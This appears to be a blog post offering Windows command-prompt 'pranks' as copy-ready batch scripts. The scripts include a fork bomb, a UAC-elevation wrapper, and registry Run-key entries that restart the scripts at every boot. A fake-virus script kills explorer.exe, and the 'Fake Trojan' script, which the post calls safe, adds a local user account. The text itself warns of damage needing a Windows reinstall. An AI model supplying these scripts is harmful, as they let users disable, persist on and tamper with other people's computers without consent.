Prank Your Friends using CMD Promt

Here are some o the best and most dangerous Cmd pranks that i know of.

WARNING! The following is a tricks that you should only do to someone you know very well, that will not file charges against you for destruction of property(By Mistake of Course). You should also be prepared to completely reinstall windows and additional software, and perhaps make a complete backup of their drive so you can make it the way it was after your malicious prank has taken its toll. 

1. Fork Bomb

A fork bomb is a something  that runs in an infinite loop. Copy this to a text file and save it as “anyname”.bat (a bat extension is important)

:BEGIN
start %0
GOTO BEGIN

Now to make it more complex we can add this file to the startup, so that whenever the person restarts his computer he/she might still get a slow computer

For that we are going to make another .bat file of any other name and fill it with the following code-

if _%1_==_payload_  goto :payload

:getadmin
    echo %~nx0: elevating self
    set vbs=%temp%\getadmin.vbs
    echo Set UAC = CreateObject^("Shell.Application"^)                >> "%vbs%"
    echo UAC.ShellExecute "%~s0", "payload %~sdp0 %*", "", "runas", 1 >> "%vbs%"
    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
goto :eof

:payload
    echo %~nx0: running payload with parameters:
    echo %*
    echo ---------------------------------------------------
    cd /d %2
    shift
    shift
    rem copy "anyname.bat" %AllUsers%\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
    rem e.g.: perl myscript.pl %1 %2 %3 %4 %5 %6 %7 %8 %9
goto :eof

or the following code will also do-

@echo off
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Wi­ndows\CurrentVersion\Run /v test /t reg_sz /d C:\folder\anyname.bat

Change the file name and the location according to your preference

2. Fake Trojan

This is a safe prank as it does not do anything but scare your friend.

The code for this prank is-

@echo off
taskkill /f /im explorer.exe
color 2
:prank
pause
echo malicous malware has been detected on your computer...
pause
echo attempting to contact your local windows firewall...
pause
echo access was denied...try again
pause
echo TROJAN INSTALLED
net user hacked /add
net user hacked hacker
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
pause
echo lmao you just got pranked :p
pause
:end prank

 3. Fake Messages

Well this is another modified version of the previous one But it is more realistic and scary.

for the following prank we will be needing 2 batch file One called the installer and another that hides deep within a maze of subfolders. This prank will automatically kick off once the system reboots causing much difficulties to the user. Try it yourself 

Installer.bat:

@echo off
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Wi­ndows\CurrentVersion\Run /v test /t reg_sz /d C:\mazeof\subfolders\Running.bat

Running.bat:

@echo off
taskkill /f /im explorer.exe
msg * Warning your computer has detected a virus.
msg * To remove the virus click OK or close this box
msg * Your Hard drives are now being formatted
msg * Please wait ...........
msg * Wait more
msg * Working
msg * Contacting kaspersky
msg * Doing Stuff...
msg * This is annoying isnt it ?
msg * Press Ok to Exit and restart
msg * Oh well that didnt work out well  

Thats all for now… Will be adding more in about a day or so, Till then do tell us how you used these in the comments section.
